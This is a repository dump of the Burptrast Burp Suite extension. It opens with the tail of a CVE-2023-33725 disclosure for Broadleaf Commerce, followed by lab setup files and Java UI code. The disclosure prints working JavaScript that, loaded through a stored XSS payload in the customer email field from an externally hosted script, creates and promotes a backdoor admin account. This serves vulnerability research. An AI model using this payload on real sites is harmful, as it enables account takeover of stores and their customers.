admin user. 206 | 207 | ```javascript 208 | function submitFormWithTokenJS(token, state) { 209 | const username = "backdooradmin"; 210 | 211 | var xhr = new XMLHttpRequest(); 212 | xhr.open("POST", "/admin/user-management/add", true); 213 | xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 214 | xhr.responseType = "document"; 215 | xhr.onreadystatechange = function() { 216 | if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { 217 | console.log(xhr.responseURL) 218 | var result = /[^/]*$/.exec(xhr.responseURL)[0]; 219 | addAdminAccess(token,state,result); 220 | } 221 | } 222 | xhr.send("ceilingEntityClassname=org.broadleafcommerce.openadmin.server.security.domain.AdminUser&entityType=org.broadleafcommerce.openadmin.server.security.domain.AdminUserImpl&id=§ionCrumbs=&mainEntityName=&preventSubmit=false&jsErrorMapString=&fields%5B'name'%5D.value="+username+"&fields%5B'login'%5D.value="+username+"&fields%5B'email'%5D.value="+username+"%40example.com&fields%5B'phoneNumber'%5D.value=&fields%5B'password'%5D.value="+username+"&fields%5B'passwordConfirm'%5D.value="+username+"&fields%5B'activeStatusFlag'%5D.value=true&fields%5B'auditable__createdBy'%5D.value=&fields%5B'auditable__dateCreated'%5D.value-display=&fields%5B'auditable__dateCreated'%5D.value=&fields%5B'auditable__updatedBy'%5D.value=&fields%5B'auditable__dateUpdated'%5D.value-display=&fields%5B'auditable__dateUpdated'%5D.value=&csrfToken="+token+"&stateVersionToken="+state); 223 | } 224 | ``` 225 | 226 | There is a 3rd step. While the above generates the admin user, its a admin account with no privileges. 227 | 228 | The next step gives the admin user master admin privileges. 229 | 230 | ```javascript 231 | function addAdminAccess(token,state,path) { 232 | var xhr = new XMLHttpRequest(); 233 | xhr.open("POST", "/admin/user-management/"+path+"/allRoles/add", true); 234 | xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 235 | xhr.responseType = "document"; 236 | xhr.onreadystatechange = function() { 237 | if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { 238 | 239 | } 240 | } 241 | xhr.send("fields%5B'id'%5D.value=-1&fields%5B'description'%5D.value=Admin+Master+Access&fields%5B'__adminMainEntity'%5D.value=ROLE_ADMIN&csrfToken="+token+"&stateVersionToken="+state); 242 | } 243 | ``` 244 | 245 | With this js file created, we just need to host it somewhere https://joebeeton.github.io/b.js 246 | 247 | Then reference it in our original XSS by setting the customer email address to 248 | 249 | `""@ab.uk 250 | ` 251 | ( you need to use the url encoded version of the payload which is 252 | `%22%3Cscript%20src%3D%27https%3A%2F%2Fjoebeeton.github.io%2Fb.js%27%20%2F%3E%22%40ab.uk` 253 | ) 254 | Then wait for an unsuspecting admin user to login, trigger the xss payload and generate the new admin account for us. 255 | ![Screenshot 2023-04-26 at 15.40.04.png](screenshots%2FScreenshot%202023-04-26%20at%2015.40.04.png) 256 | And from there the attacker can login with the credentials newadmin : newadmin as an admin and takeover the site. 257 | 258 | 259 | 260 | 261 | -------------------------------------------------------------------------------- /docs/CVE-2023-33725/contrast_security.yaml: -------------------------------------------------------------------------------- 1 | api: 2 | url: https://CHANGEME.contrastsecurity.com/Contrast 3 | api_key: CHANGEME 4 | service_key: CHANGEME 5 | user_name: CHANGEME@CHANGEME 6 | application: 7 | name: broadleaf-xss 8 | server: 9 | name: broadleaf-xss 10 | protect: 11 | enabled: false 12 | assess: 13 | enabled: true 14 | agent: 15 | logger: 16 | level: DEBUG 17 | -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 12.44.22.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 12.44.22.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.05.07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.05.07.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.30.51.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.30.51.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.46.49.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.46.49.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.47.23.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.47.23.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.48.02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.48.02.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.49.07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.49.07.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.54.58.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.54.58.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.56.01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 13.56.01.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.09.33.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.09.33.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.10.57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.10.57.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.40.04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/docs/CVE-2023-33725/screenshots/Screenshot 2023-04-26 at 15.40.04.png -------------------------------------------------------------------------------- /docs/CVE-2023-33725/site-pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | com.mycompany-community 5 | boot-community-demo 6 | 1.0.0-SNAPSHOT 7 | 8 | 9 | 4.0.0 10 | boot-community-demo-site 11 | jar 12 | 13 | Community Demo Site 14 | Web Module For Customized Broadleaf Commerce Site 15 | 16 | 17 | 8000 18 | -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/workspace/contrast.jar -Dcontrast.config.path=/workspace/contrast_security.yaml 19 | 20 | 21 | 22 | ROOT 23 | 24 | 25 | org.apache.maven.plugins 26 | maven-dependency-plugin 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-maven-plugin 31 | 32 | 33 | 34 | 35 | 36 | 37 | com.mycompany-community 38 | boot-community-demo-core 39 | 40 | 41 | org.springframework.boot 42 | spring-boot-starter-validation 43 | 44 | 45 | org.broadleafcommerce 46 | broadleaf-framework-web 47 | 48 | 49 | com.broadleafcommerce 50 | broadleaf-boot-starter-solr 51 | 52 | 53 | org.broadleafcommerce 54 | broadleaf-thymeleaf3-presentation 55 | 56 | 57 | nz.net.ultraq.thymeleaf 58 | thymeleaf-layout-dialect 59 | 3.0.0 60 | 61 | 62 | org.springframework.boot 63 | spring-boot-starter-web 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /docs/CVE-2023-33725/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This manages the startup of both the site and admin applications. 3 | # As both share the same flat file database, they need to be started up in order. 4 | # So the admin page is run first. Once the curl returns a 200. We know it is running and the 5 | # site is run. 6 | 7 | httpstatus=0 8 | ./mvnw -f admin/pom.xml spring-boot:run & 9 | 10 | while [ $httpstatus -ne 200 ] 11 | do 12 | sleep 5 13 | httpstatus=$(curl --insecure --write-out %{http_code} --silent --output /dev/null https://localhost:8444/admin/login ) 14 | done 15 | ./mvnw -f site/pom.xml spring-boot:run 16 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.contrast 8 | Burptrast 9 | 1.4 10 | 11 | 12 | 8 13 | 8 14 | 15 | 16 | 17 | 18 | com.googlecode.owasp-java-html-sanitizer 19 | owasp-java-html-sanitizer 20 | 20240325.1 21 | 22 | 23 | commons-io 24 | commons-io 25 | 2.17.0 26 | 27 | 28 | 29 | net.portswigger.burp.extender 30 | burp-extender-api 31 | 2.3 32 | 33 | 34 | com.contrastsecurity 35 | contrast-sdk-java 36 | 3.4.2 37 | 38 | 39 | 40 | org.yaml 41 | snakeyaml 42 | 2.3 43 | 44 | 45 | junit 46 | junit 47 | 4.13.2 48 | test 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.maven.plugins 56 | maven-assembly-plugin 57 | 3.7.1 58 | 59 | 60 | jar-with-dependencies 61 | 62 | 63 | 64 | 65 | assemble-all 66 | package 67 | 68 | single 69 | 70 | 71 | 72 | 73 | 74 | org.apache.maven.plugins 75 | maven-compiler-plugin 76 | 77 | 11 78 | 11 79 | 80 | 81 | 82 | 83 | -------------------------------------------------------------------------------- /screenshots/burp-app-select.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp-app-select.png -------------------------------------------------------------------------------- /screenshots/burp-update.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp-update.png -------------------------------------------------------------------------------- /screenshots/burp1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp1.png -------------------------------------------------------------------------------- /screenshots/burp2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp2.png -------------------------------------------------------------------------------- /screenshots/burp3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp3.png -------------------------------------------------------------------------------- /screenshots/burp4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/burp4.png -------------------------------------------------------------------------------- /screenshots/configure-agent-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/configure-agent-1.png -------------------------------------------------------------------------------- /screenshots/cred-tab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/cred-tab.png -------------------------------------------------------------------------------- /screenshots/creds.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/creds.png -------------------------------------------------------------------------------- /screenshots/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/screenshot.png -------------------------------------------------------------------------------- /screenshots/signup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Contrast-Security-OSS/Burptrast/827b642ed9e571821a578a68d2d52dcceb6f74bf/screenshots/signup.png -------------------------------------------------------------------------------- /src/main/java/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | 4 | public class BurpExtender implements IBurpExtender { 5 | @Override 6 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { 7 | callbacks.setExtensionName("Burptrast Security"); 8 | ParentTab parentTab = new ParentTab(callbacks); 9 | callbacks.addSuiteTab(parentTab); 10 | 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/main/java/burp/Components.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import javax.swing.*; 4 | import java.awt.*; 5 | 6 | public class Components { 7 | 8 | private static TextField portNumberField; 9 | private static TextField hostNameField; 10 | private static TextField appContextField; 11 | private static JComboBox protocolCombo; 12 | private static JComboBox orgsCombo; 13 | private static JComboBox appCombo; 14 | private static JRadioButton sortByAppNameRadio; 15 | 16 | private static JRadioButton sortByLastSeenRadio; 17 | 18 | private static JButton importRoutesButton; 19 | 20 | private static JButton orgIdButton; 21 | private static JButton appButton; 22 | private static JButton updateButton; 23 | private static JTable traceTable; 24 | private static JTable routeTable; 25 | 26 | private static JLabel pathLabel; 27 | 28 | private static JRadioButton enableLiveBrowse; 29 | 30 | private static JRadioButton disableLiveBrowse; 31 | 32 | private static JButton credsFile; 33 | 34 | private static JButton saveCredsFile; 35 | 36 | private static JLabel credentialsStatusLabel; 37 | 38 | 39 | 40 | private static JPanel credentialsStatusPanel; 41 | 42 | private static JPanel statusPanel; 43 | 44 | private static JLabel statusLabel; 45 | private static JPanel routeStatsPanel; 46 | private static JLabel routeStatsLabel; 47 | 48 | public static TextField getPortNumberField() { 49 | return portNumberField; 50 | } 51 | 52 | public static void setPortNumberField(TextField portNumberField) { 53 | Components.portNumberField = portNumberField; 54 | } 55 | 56 | public static TextField getHostNameField() { 57 | return hostNameField; 58 | } 59 | 60 | public static void setHostNameField(TextField hostNameField) { 61 | Components.hostNameField = hostNameField; 62 | } 63 | 64 | public static TextField getAppContextField() { 65 | return appContextField; 66 | } 67 | 68 | public static void setAppContextField(TextField appContextField) { 69 | Components.appContextField = appContextField; 70 | } 71 | 72 | public static JComboBox getProtocolCombo() { 73 | return protocolCombo; 74 | } 75 | 76 | public static void setProtocolCombo(JComboBox protocolCombo) { 77 | Components.protocolCombo = protocolCombo; 78 | } 79 | 80 | public static JComboBox getOrgsCombo() { 81 | return orgsCombo; 82 | } 83 | 84 | public static void setOrgsCombo(JComboBox orgsCombo) { 85 | Components.orgsCombo = orgsCombo; 86 | } 87 | 88 | public static JComboBox getAppCombo() { 89 | return appCombo; 90 | } 91 | 92 | public static void setAppCombo(JComboBox appCombo) { 93 | Components.appCombo = appCombo; 94 | } 95 | 96 | public static JRadioButton getSortByAppNameRadio() { 97 | return sortByAppNameRadio; 98 | } 99 | 100 | public static void setSortByAppNameRadio(JRadioButton sortByAppNameRadio) { 101 | Components.sortByAppNameRadio = sortByAppNameRadio; 102 | } 103 | 104 | public static JRadioButton getSortByLastSeenRadio() { 105 | return sortByLastSeenRadio; 106 | } 107 | 108 | public static void setSortByLastSeenRadio(JRadioButton sortByLastSeenRadio) { 109 | Components.sortByLastSeenRadio = sortByLastSeenRadio; 110 | } 111 | 112 | public static JButton getImportRoutesButton() { 113 | return importRoutesButton; 114 | } 115 | 116 | public static void setImportRoutesButton(JButton importRoutesButton) { 117 | Components.importRoutesButton = importRoutesButton; 118 | } 119 | 120 | public static JButton getOrgIdButton() { 121 | return orgIdButton; 122 | } 123 | 124 | public static void setOrgIdButton(JButton orgIdButton) { 125 | Components.orgIdButton = orgIdButton; 126 | } 127 | 128 | public static JButton getAppButton() { 129 | return appButton; 130 | } 131 | 132 | public static void setAppButton(JButton appButton) { 133 | Components.appButton = appButton; 134 | } 135 | 136 | public static JButton getUpdateButton() { 137 | return updateButton; 138 | } 139 | 140 | public static void setUpdateButton(JButton updateButton) { 141 | Components.updateButton = updateButton; 142 | } 143 | 144 | public static JTable getTraceTable() { 145 | return traceTable; 146 | } 147 | 148 | public static void setTraceTable(JTable traceTable) { 149 | Components.traceTable = traceTable; 150 | } 151 | 152 | public static JTable getRouteTable() { 153 | return routeTable; 154 | } 155 | 156 | public static void setRouteTable(JTable routeTable) { 157 | Components.routeTable = routeTable; 158 | } 159 | 160 | public static JPanel getRouteStatsPanel() { return routeStatsPanel;} 161 | 162 | public static void setRouteStatsPanel(JPanel routeStatsPanel) { Components.routeStatsPanel = routeStatsPanel;} 163 | 164 | public static JLabel getRouteStatsLabel() { return routeStatsLabel;} 165 | 166 | public static void setRouteStatsLabel(JLabel routeStatsLabel) { Components.routeStatsLabel = routeStatsLabel;} 167 | 168 | public static JLabel getPathLabel() { 169 | return pathLabel; 170 | } 171 | 172 | public static void setPathLabel(JLabel pathLabel) { 173 | Components.pathLabel = pathLabel; 174 | } 175 | 176 | public static JRadioButton getEnableLiveBrowse() { 177 | return enableLiveBrowse; 178 | } 179 | 180 | public static void setEnableLiveBrowse(JRadioButton enableLiveBrowse) { 181 | Components.enableLiveBrowse = enableLiveBrowse; 182 | } 183 | 184 | public static JRadioButton getDisableLiveBrowse() { 185 | return disableLiveBrowse; 186 | } 187 | 188 | public static void setDisableLiveBrowse(JRadioButton disableLiveBrowse) { 189 | Components.disableLiveBrowse = disableLiveBrowse; 190 | } 191 | 192 | public static JButton getCredsFile() { 193 | return credsFile; 194 | } 195 | 196 | public static void setCredsFile(JButton credsFile) { 197 | Components.credsFile = credsFile; 198 | } 199 | 200 | public static JLabel getStatusLabel() { 201 | return statusLabel; 202 | } 203 | 204 | public static void setStatusLabel(JLabel statusLabel) { 205 | Components.statusLabel = statusLabel; 206 | } 207 | 208 | public static JButton getSaveCredsFile() { 209 | return saveCredsFile; 210 | } 211 | 212 | public static void setSaveCredsFile(JButton saveCredsFile) { 213 | Components.saveCredsFile = saveCredsFile; 214 | } 215 | 216 | 217 | public static void setButtons(boolean enabled) { 218 | Components.getOrgIdButton().setEnabled(enabled); 219 | Components.getAppButton().setEnabled(enabled); 220 | Components.getUpdateButton().setEnabled(enabled); 221 | Components.getSortByAppNameRadio().setEnabled(enabled); 222 | Components.getSortByLastSeenRadio().setEnabled(enabled); 223 | Components.getDisableLiveBrowse().setEnabled(enabled); 224 | Components.getEnableLiveBrowse().setEnabled(enabled); 225 | Components.getImportRoutesButton().setEnabled(enabled); 226 | Components.getCredsFile().setEnabled(enabled); 227 | Components.getOrgsCombo().setEnabled(enabled); 228 | Components.getAppCombo().setEnabled(enabled); 229 | } 230 | 231 | 232 | public static JLabel getCredentialsStatusLabel() { 233 | return credentialsStatusLabel; 234 | } 235 | 236 | public static void setCredentialsStatusLabel(JLabel credentialsStatusLabel) { 237 | Components.credentialsStatusLabel = credentialsStatusLabel; 238 | } 239 | 240 | public static JPanel getCredentialsStatusPanel() { 241 | return credentialsStatusPanel; 242 | } 243 | 244 | public static void setCredentialsStatusPanel(JPanel credentialsStatusPanel) { 245 | Components.credentialsStatusPanel = credentialsStatusPanel; 246 | } 247 | 248 | public static JPanel getStatusPanel() { 249 | return statusPanel; 250 | } 251 | 252 | public static void setStatusPanel(JPanel statusPanel) { 253 | Components.statusPanel = statusPanel; 254 | } 255 | } 256 | -------------------------------------------------------------------------------- /src/main/java/burp/CorrelationIDAppender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | 4 | import java.util.ArrayList; 5 | import java.util.List; 6 | import java.util.UUID; 7 | 8 | 9 | /** 10 | * The CorrelationIDAppender is used to append an HTTP Header to every request made via Burptrast when Live Browse is 11 | * enabled. This ID is looked for when new vulnerabilities are found by Assess. Where this ID is found in the http 12 | * request that triggered that vuln, we can correlate that back to this session and live update the vuln tab. 13 | */ 14 | public class CorrelationIDAppender implements IHttpListener { 15 | 16 | private final String correlationHeader; 17 | 18 | private final UUID correlationID; 19 | private final IBurpExtenderCallbacks callbacks; 20 | 21 | public static final String NAME = "Burptrast-Correlation-Id"; 22 | 23 | 24 | public CorrelationIDAppender(IBurpExtenderCallbacks callbacks) { 25 | correlationID = UUID.randomUUID(); 26 | correlationHeader = NAME+":"+ correlationID; 27 | this.callbacks = callbacks; 28 | } 29 | 30 | @Override 31 | public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { 32 | if(messageIsRequest) { 33 | IRequestInfo rqInfo = callbacks.getHelpers().analyzeRequest(messageInfo); 34 | List headers = new ArrayList<>(rqInfo.getHeaders()); 35 | List headersToRemove = new ArrayList<>(); 36 | for(String header : headers) { 37 | if(header.contains(NAME)) { 38 | if(header.equals(correlationHeader)) { 39 | break; 40 | } else { 41 | headersToRemove.add(header); 42 | } 43 | } 44 | } 45 | headers.removeAll(headersToRemove); 46 | headers.add(correlationHeader); 47 | String body = new String(messageInfo.getRequest()).substring(rqInfo.getBodyOffset()); 48 | byte[] msg = callbacks.getHelpers().buildHttpMessage(headers, body.getBytes()); 49 | messageInfo.setRequest(msg); 50 | } 51 | } 52 | 53 | public String getHeaderNameValue() { 54 | return correlationHeader; 55 | } 56 | 57 | public UUID getCorrelationID() { 58 | return correlationID; 59 | } 60 | 61 | 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/burp/CredentialsTab.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import com.contrast.Logger; 4 | import com.contrast.YamlReader; 5 | import com.contrast.YamlWriter; 6 | import com.contrast.threads.CredentialsRetrieverThread; 7 | import org.yaml.snakeyaml.error.YAMLException; 8 | 9 | import javax.swing.*; 10 | import javax.swing.border.Border; 11 | import javax.swing.border.LineBorder; 12 | import javax.swing.border.TitledBorder; 13 | import java.awt.*; 14 | import java.io.File; 15 | import java.io.IOException; 16 | import java.util.Arrays; 17 | import java.util.List; 18 | 19 | import static burp.ContrastTab.enableButtons; 20 | import static burp.ContrastTab.refreshOrgIDS; 21 | 22 | public class CredentialsTab { 23 | 24 | private final IBurpExtenderCallbacks callbacks; 25 | private final DataModel dataModel; 26 | private final Logger logger; 27 | 28 | public CredentialsTab(IBurpExtenderCallbacks callbacks, DataModel dataModel, Logger logger) { 29 | this.callbacks = callbacks; 30 | this.dataModel = dataModel; 31 | this.logger = logger; 32 | } 33 | 34 | 35 | public Component getUiComponent() { 36 | JPanel panel = new JPanel(new BorderLayout()); 37 | JPanel firstLine = new JPanel(new BorderLayout()); 38 | JPanel firstInner = new JPanel(); 39 | JPanel secondLine = new JPanel(new BorderLayout()); 40 | JPanel secondInner = new JPanel(); 41 | JPanel credRetriever = new JPanel(); 42 | credRetriever.setBorder( BorderFactory.createTitledBorder("Teamserver Credentials")); 43 | createCredRetriever(credRetriever); 44 | createCredSaveButton(credRetriever); 45 | firstInner.add(credRetriever); 46 | firstLine.add(firstInner); 47 | addStatusField(secondInner); 48 | // BurpTrast Credentials Panel 49 | JPanel configPanel = new JPanel(); 50 | configPanel.setBorder( BorderFactory.createTitledBorder("Credential File")); 51 | createFileChooser(configPanel); 52 | secondInner.add(configPanel); 53 | secondLine.add(secondInner,BorderLayout.WEST); 54 | 55 | panel.add(secondLine, BorderLayout.PAGE_START); 56 | panel.add(firstLine,BorderLayout.LINE_START); 57 | return panel; 58 | } 59 | 60 | /** 61 | * Adds Status field to the UI, this is used to communicate the current status of Burptrast 62 | * @param secondLine 63 | */ 64 | private void addStatusField(JPanel secondLine) { 65 | // Status Field 66 | JPanel statusPanel = new JPanel(); 67 | Components.setCredentialsStatusPanel(statusPanel); 68 | statusPanel.setBorder( 69 | BorderFactory.createTitledBorder(null, "Status", TitledBorder.CENTER, TitledBorder.TOP, null,null)); 70 | secondLine.add(statusPanel,BorderLayout.LINE_START); 71 | Components.setCredentialsStatusLabel(new JLabel(Status.AWAITING_CREDENTIALS.getStatus())); 72 | statusPanel.add(Components.getCredentialsStatusLabel()); 73 | } 74 | 75 | /** 76 | * List of Teamserver URLs 77 | * @return 78 | */ 79 | private List getTSList() { 80 | return Arrays.asList( 81 | "", 82 | "https://ce.contrastsecurity.com/Contrast", 83 | "https://eval.contrastsecurity.com/Contrast", 84 | "https://security-research.contrastsecurity.com/Contrast", 85 | "https://apptwo.contrastsecurity.com/Contrast", 86 | "https://app.contrastsecurity.com/Contrast", 87 | "https://alpha.contrastsecurity.com/Contrast" 88 | ); 89 | } 90 | 91 | private void createCredRetriever(JPanel credRetriever) { 92 | JTextField usernameField = new JTextField(); 93 | JComboBox teamserverURL = new JComboBox<>(); 94 | teamserverURL.setEditable(true); 95 | getTSList().forEach(teamserverURL::addItem); 96 | teamserverURL.setToolTipText("Team Server URL : https://ce.contrastsecurity.com/Contrast"); 97 | usernameField.setColumns(20); 98 | JPasswordField passwordField = new JPasswordField(); 99 | passwordField.setColumns(20); 100 | credRetriever.add(new JLabel("Teamserver URL")); 101 | credRetriever.add(teamserverURL); 102 | credRetriever.add(new JLabel("Username")); 103 | credRetriever.add(usernameField); 104 | credRetriever.add(new JLabel("Password")); 105 | credRetriever.add(passwordField); 106 | JButton button = new JButton("Login"); 107 | credRetriever.add(button); 108 | button.addActionListener(e -> { 109 | String username = usernameField.getText(); 110 | String password = passwordField.getText(); 111 | String tsURL = teamserverURL.getSelectedItem().toString(); 112 | CredentialsRetrieverThread thread = new CredentialsRetrieverThread(callbacks,dataModel,logger,username,password,tsURL); 113 | thread.start(); 114 | 115 | }); 116 | } 117 | 118 | private void createCredSaveButton(JPanel credRetriever) { 119 | Components.setSaveCredsFile(new JButton("Save Credentials")); 120 | Components.getSaveCredsFile().setEnabled(false); 121 | credRetriever.add(Components.getSaveCredsFile()); 122 | Components.getSaveCredsFile().addActionListener(e -> { 123 | JFileChooser fileChooser = new JFileChooser(); 124 | fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY); 125 | int option = fileChooser.showSaveDialog(credRetriever); 126 | if(option == JFileChooser.APPROVE_OPTION){ 127 | File file = fileChooser.getSelectedFile(); 128 | if(file!=null) { 129 | YamlWriter writer = new YamlWriter(); 130 | try { 131 | writer.writeYamlFile(dataModel.getTsCreds(), file.toPath()); 132 | } catch (IOException ex) { 133 | logger.logError("Unable to save Credentials to file : " + file.getAbsolutePath()); 134 | throw new RuntimeException(ex); 135 | } 136 | } 137 | } 138 | }); 139 | } 140 | 141 | /** 142 | * Adds the File Chooser to the UI 143 | * When a Creds file is selected, the refresh org, refresh app and update buttons are enabled. 144 | * Also the Org and App Drop downs are populated by calling TeamServer with the newly selected credentials. 145 | * @param panel 146 | */ 147 | private void createFileChooser(final JPanel panel){ 148 | Components.setCredsFile(new JButton("Select Creds File")); 149 | final JLabel label = new JLabel(); 150 | label.setText("Select Config File"); 151 | Components.getCredsFile().addActionListener(e -> { 152 | StatusUpdater.updateStatus(Status.LOADING,dataModel); 153 | JFileChooser fileChooser = new JFileChooser(); 154 | fileChooser.setFileSelectionMode(JFileChooser.FILES_AND_DIRECTORIES); 155 | int option = fileChooser.showOpenDialog(panel); 156 | if(option == JFileChooser.APPROVE_OPTION){ 157 | File file = fileChooser.getSelectedFile(); 158 | dataModel.setCredsFile(file); 159 | if(dataModel.getCredsFile()!=null) { 160 | logger.logMessage("Creds File Selected : " + dataModel.getCredsFile()); 161 | } else { 162 | logger.logMessage("Creds File is null"); 163 | } 164 | label.setText("Selected: " + dataModel.getCredsFile().getName()); 165 | dataModel.getTsCreds().clear(); 166 | try { 167 | dataModel.getTsCreds().addAll(new YamlReader().parseContrastYaml(dataModel.getCredsFile())); 168 | StatusUpdater.updateStatus(Status.READY,dataModel); 169 | Components.getCredsFile().setEnabled(true); 170 | } catch (IOException | YAMLException ex) { 171 | StatusUpdater.updateStatus(Status.ERROR,dataModel); 172 | Components.getCredentialsStatusLabel().setText(Status.ERROR.getStatus()); 173 | JOptionPane.showMessageDialog(null, ex+ 174 | "\nSee Error log under extensions -> Errors for further details."); 175 | logger.logException("Error occurred while refreshing org list",ex); 176 | throw new RuntimeException(ex); 177 | } 178 | enableButtons(); 179 | refreshOrgIDS(callbacks); 180 | }else{ 181 | StatusUpdater.updateStatus(Status.AWAITING_CREDENTIALS,dataModel); 182 | label.setText("Open command canceled"); 183 | } 184 | }); 185 | panel.add(Components.getCredsFile()); 186 | panel.add(label); 187 | } 188 | 189 | 190 | 191 | 192 | } 193 | -------------------------------------------------------------------------------- /src/main/java/burp/DataModel.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import com.contrast.threads.BrowseVulnCheckThread; 4 | import com.contrast.SortType; 5 | import com.contrast.TSCreds; 6 | import com.contrast.model.Route; 7 | import com.contrast.model.RouteCoverage; 8 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse; 9 | import com.contrastsecurity.models.Application; 10 | import 